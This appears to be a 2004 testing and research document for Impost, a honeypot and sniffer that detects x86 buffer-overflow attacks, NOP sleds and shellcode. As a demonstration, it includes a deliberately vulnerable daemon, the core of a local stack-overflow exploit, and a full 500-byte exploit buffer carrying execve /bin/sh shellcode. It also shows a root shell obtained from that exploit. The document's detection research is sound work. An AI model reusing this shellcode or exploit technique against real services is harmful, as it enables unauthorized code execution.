NOTE: Things may have changed since this document. Impost is still in a
pre-alpha stage of development and has a lot of work to be done. Don't be alarmed
if something doesn't work properly -- instead; write a patch :)
TESTING AND RESEARCH SECTIONS
=============================
* Developing, Debugging and Recreating attacks
* Ideas for blindly detecting different kinds of NOP sleds
* Guessing the return address in an x86 exploit buffer
DEVELOPING, DEBUGGING AND RECREATING ATTACKS
============================================
Proof-of-concept
Files: test1-vuln.c, test1-exp.c, test1-capexp.c
Based on information collected from Impost, one could easily
recreate an attack with-out any trouble. As a proof-of-concept, I
created a vulnerable daemon (see `test1-vuln.c'). This daemon will bind
a socket to a port specified from the command-line.
When the daemon receives a new connection, it will check if the
first message received matches the string `MAGICAL'. If it does match,
it will wait for another message before passing the buffer from the
second message to the function `lame()' - this function will then copy
the buffer into a variable that has been allocated with only 256 bytes.
A very simple buffer overflow.
`(echo MAGICAL;perl -e 'print "A"x500';) | nc localhost 5555' made
for a reasonable denial of service - after crashing the vulnerable
server, gdb gave me this list of addresses:
0xbffff2a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff2b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
^^^^^^^^^^^
Random pick
Using the address `0xbffff2b0', I developed a test exploit that
creates a buffer containing 500 bytes. First I filled the buffer with a
simple `NOP' padding before inserting aleph1's infamous `execve
/bin/sh' shellcode starting 128 bytes into the buffer. After the
shellcode, I filled the rest of the buffer with the return address. A
side from the socket functions, shellcode, etc. Here's the basic
exploit:
memset(buffer, 0x90, SIZE);
memcpy(buffer + NOP_LEN, shellcode, strlen(shellcode));
for (i = NOP_LEN + strlen(shellcode); i < SIZE-4; i += 4)
*((int *)&buffer[i]) = RETADDR;
while (strlen(buffer) > SIZE)
buffer[strlen(buffer)-1] = '\0';
The exploit will connect to the vulnerable daemon and send the
string `MAGICAL' before sending the exploit buffer. After the buffer is
processed in the function `lame()' a segmentation fault will occur
allowing the exploit buffer to overwrite the return address allowing
the execution of aleph1's shellcode.
In one terminal, I invoked the daemon `./test1-vuln 5555'. In
another terminal, I executed the exploit `./test1-ex localhost 5555'.
Here's what the output looked like from the first terminal:
[root@localhost tests]# ./test1-vuln 5555
[x] Vulnerable server is ready for action!
[x] Received: 'MAGICAL'
[x] Vulnerable server is being lame
[x] Outcome:
ë"^ó÷Ç1Àªùð«ú1À«Í1ÛØ@ÍèÙÿÿÿ/bin/sh°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°ò
ÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°ò
ÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°ò
ÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°ò
ÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°òÿ¿°ò
ÿ¿°òÿ¿°òÿ¿°òÿ¿
sh-2.05b#
Now that I've created a vulnerability and successfully exploited it,
I'm going to use Impost to operate as a honey pot and relaunch the
exploit. Impost will detect the buffer and analyze it before creating a
log file with all the data from the connection which launched the
attack. Here's the output:
[ziplock@localhost impost]$ src/impost -p 5555
Impost(er) Version 0.1pre3-CVS (i686-pc-linux-gnu) by ziplock
08/09/04 14:55 SERVER STARTED, BINDED SOCKET ON PORT 5555
.i Waiting for connections...
08/09/04 14:55 Accepted connection from 127.0.0.1
io recv(sock=5,size=7): MAGICAL
.d Detected suspicious buffer (500 bytes)
.i Type of padding: Single (repeating 1 byte x86 NOP code)
.i Generic x86 NOP code (Intel 0x90) repeated 128 times
.d Shellcode match: contains ascii string: /bin/sh
.d Shellcode match: linux x86: execve /bin/sh author: aleph1
.d Find_Reversed_x86_Address(): 0xbffff2b0
.i Instruction start position: 128, operation code: \xeb
.o Saving received message history and suspicious buffer
- Capture /tmp/impost-captures/capture-0804-14-55-28
hd5 Hex: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 Ascii ...............
hd5 last line repeated 7 times
hd5 Hex: 90 90 90 90 90 90 90 90 EB 22 5E 89 F3 89 F7 Ascii ........."^....
hd5 Hex: 83 C7 07 31 C0 AA 89 F9 89 F0 AB 89 FA 31 C0 Ascii ...1.........1.
hd5 Hex: AB B0 08 04 03 CD 80 31 DB 89 D8 40 CD 80 E8 Ascii .......1...@...
hd5 Hex: D9 FF FF FF 2F 62 69 6E 2F 73 68 B0 F2 FF BF Ascii ..../bin/sh....
hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ...............
hd5 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ...............
hd5 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ...............
hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ...............
---------- CUT -----------
As you can see, Impost has figured out what kind of `NOP' sled was
used (pretty basic considering it's 0x90 repeating itself). Impost also
succesfully matched several shellcode signatures and guessed the
correct return address `0xbffff2b0' before determining the correct
starting position of the shellcode's instruction.
Here is similar output from Impost operating as a packet sniffer:
[root@@localhost impost]# src/impost -p 5555 --sniff --device=lo
Impost(er) Version 0.1pre3-CVS (i686-pc-linux-gnu) by ziplock
!! failed to load config, file not found: /root/.impostrc
08/09/04 15:45 INITIALIZING PACKET SNIFFER
.> Device: lo
.> Destination Port: 5555
.. Received ACK: 22546 from 127.0.0.1
.. Packet, with TH_PUSH flag, from 127.0.0.1
.i SEQ = 22575 ACK = 22546
.i Payload -- 8 bytes
.i Payload's data segment is 8 bytes
.i DATA SEGMENT: MAGICAL
.. Packet, with TH_PUSH flag, from 127.0.0.1
.i SEQ = 22575 ACK = 22546
.i Payload -- 500 bytes
.i Payload's data segment is 500 bytes
.d Detected suspicious buffer (500 bytes)
.i Type of padding (or NOP sled): Single (1 byte repeating NOP code)
.i Generic x86 NOP code (Intel 0x90) used for padding (128 times)
.d Shellcode match: contains ascii string: /bin/sh
.d Shellcode match: linux x86: execve /bin/sh author: aleph1
.d Find_Reversed_x86_Address(): 0xbffff2b0
.i First instruction start position: 128, operation code: \xeb
.o Saving received message history and suspicious buffer
- Capture /tmp/impost-captures/capture-0804-15-45-31
hd0 Hex: 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 Ascii ...............
hd0 last line repeated 7 times
hd0 Hex: 90 90 90 90 90 90 90 90 EB 22 5E 89 F3 89 F7 Ascii ........."^....
hd0 Hex: 83 C7 07 31 C0 AA 89 F9 89 F0 AB 89 FA 31 C0 Ascii ...1.........1.
hd0 Hex: AB B0 08 04 03 CD 80 31 DB 89 D8 40 CD 80 E8 Ascii .......1...@...
hd0 Hex: D9 FF FF FF 2F 62 69 6E 2F 73 68 B0 F2 FF BF Ascii ..../bin/sh....
hd0 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ...............
hd0 Hex: BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 Ascii ...............
hd0 Hex: FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 Ascii ...............
hd0 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ...............
------- CUT OFF -----------
Below is the contents of /tmp/impost-captures/capture-0804-15-45-31
------- CUT HERE --------
08/09/04 15:45 Impost capture file, source IP address:
History of received data pertaining to this session:
1 (7 bytes) = 'MAGICAL'
Suspicious buffer (C constant string)
const char buffer[] = { 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90,
0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0xeb,
0x22, 0x5e, 0x89, 0xf3, 0x89, 0xf7, 0x83, 0xc7, 0x07, 0x31, 0xc0, 0xaa,
0x89, 0xf9, 0x89, 0xf0, 0xab, 0x89, 0xfa, 0x31, 0xc0, 0xab, 0xb0, 0x08,
0x04, 0x03, 0xcd, 0x80, 0x31, 0xdb, 0x89, 0xd8, 0x40, 0xcd, 0x80, 0xe8,
0xd9, 0xff, 0xff, 0xff, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0xb0,
0xf2, 0xff, 0xbf, 0xb0, 0xf2, 0xff, 0xbf, 0x90, 0x90, 0x90, 0x90 };
----------- CUT HERE -----------
With this `capture file', all you need to do is send the history of
commands starting at line 3 to the server followed by the buffer which
has been conveniently made into a C constant string. (see `test1-capexp.c')
BLINDLY DETECTING DIFFERENT KINDS OF NOP SLEDS
==============================================
These are the three main types of NOP sleds for x86 systems: `single',
`pattern' and `random'. `single' is a single NOP code instruction most
commonly `0x90' that repeats itself yae many times -- this kind of NOP
sled is the easiest to detect. `pattern' is just as easy to detect as
`single' is -- it can contain anywhere from 2 bytes to ??? bytes as long
as it has multiple re-occurrences. `random' the third type -- a bunch of
random NOPs slapped together.
Here is Impost's table for X86 NOP codes:
0x27, 0x2f, 0x33, 0x37, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46,
0x47, 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52,
0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f,
0x60, 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a,
0x9b, 0x9c, 0x9d, 0x9e, 0x9f, 0xf5, 0xf7, 0xf8, 0xf9, 0xfc
If we're looking for a `single' pattern, all we have to do is scan the
reoccurring byte through the above table and find out if we have a match.
For detecting the `pattern' type, what Impost does is create two chunk
variables; the size of these chunks is set to half of the size of the
buffer that we're scanning. We start with 2 bytes, and scan the entire
buffer comparing the chunks (ie., chunk1 will look like 01+02 05+06 09+10
as it progresses and chunk2 will look like 03+04 07+08) after each round
of searching we'll increase the length of of each chunk - so the second
round chunk1 will be something like 01+02+03 06+07+08, etc...
As for, `random', Impost will try to determine the start point just like
the last 2 sled types. From the start position it will count how many of
proceeding bytes are valid NOP codes.
Example detection of a `pattern' NOP sled:
[ziplock@localhost impost]$ (perl -e 'print "AFKSAJZZZZ"x100;print
"\xeb\x01\xeb\x01\xeb\x01somethingsomething"' |nc localhost 5555)
[ziplock@localhost impost]$
Impost output:
.d Detected suspicious buffer (1023 bytes)
.i Type of padding (or NOP sled): Pattern - pattern length: 10 bytes
.d Pattern: '\x41\x46\x4b\x53\x41\x4a\x5a\x5a\x5a\x5a'
.d Find_Reversed_x86_Address(): 0x6e696874
.i First instruction start position: 1000, operation code: \xeb
.o Saving received message history and suspicious buffer
- Capture /tmp/impost-captures/capture-0804-17-04-15
hd5 Hex: 41 46 4B 53 41 4A 5A 5A 5A 5A 41 46 4B 53 41 Ascii AFKSAJZZZZAFKSA
hd5 Hex: 4A 5A 5A 5A 5A 41 46 4B 53 41 4A 5A 5A 5A 5A Ascii JZZZZAFKSAJZZZZ
hd5 Hex: 41 46 4B 53 41 4A 5A 5A 5A 5A 41 46 4B 53 41 Ascii AFKSAJZZZZAFKSA
hd5 Hex: 4A 5A 5A 5A 5A 41 46 4B 53 41 4A 5A 5A 5A 5A Ascii JZZZZAFKSAJZZZZ
hd5 Hex: 41 46 4B 53 41 4A 5A 5A 5A 5A 41 46 4B 53 41 Ascii AFKSAJZZZZAFKSA
--------- CUT HERE ---------
There is a lot more to be added to this section including info on
different systems like sparc, ppc, alpha, etc.. I'll update this section soon.
GUESSING THE RETURN ADDRESS IN AN X86 EXPLOIT BUFFER
====================================================
This is what I've done so far as Impost goes.
It is common for x86 `exploit' buffers to position a return address near
and/or in the last four bytes of the buffer. Another thing that I would
like to point out is that if you look at how the address is placed you'll
notice that it's backwards.
For example, let's take the address `0xbffff2b0' which is the address
I found for the vulnerable daemon in section one of this document. If you
were to look at it after it's been injected into a buffer; it's backwards.
It appears as `\xb0\xf2\xff\xbf', here's a snippet from a hexidecimal
table created by Impost:
hd5 Hex: F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF Ascii ...............
hd5 Hex: B0 F2 FF BF B0 F2 FF BF B0 F2 FF BF B0 F2 FF Ascii ...............
hd5 Hex: BF 90 90 90 90 Ascii .....
07/31/04 19:44 Lost connection with 127.0.0.1
Ignore the NOP codes (last four bytes) and look at the hexidecimal values
prior to those NOPs. You'll see what I mean.
EOF
|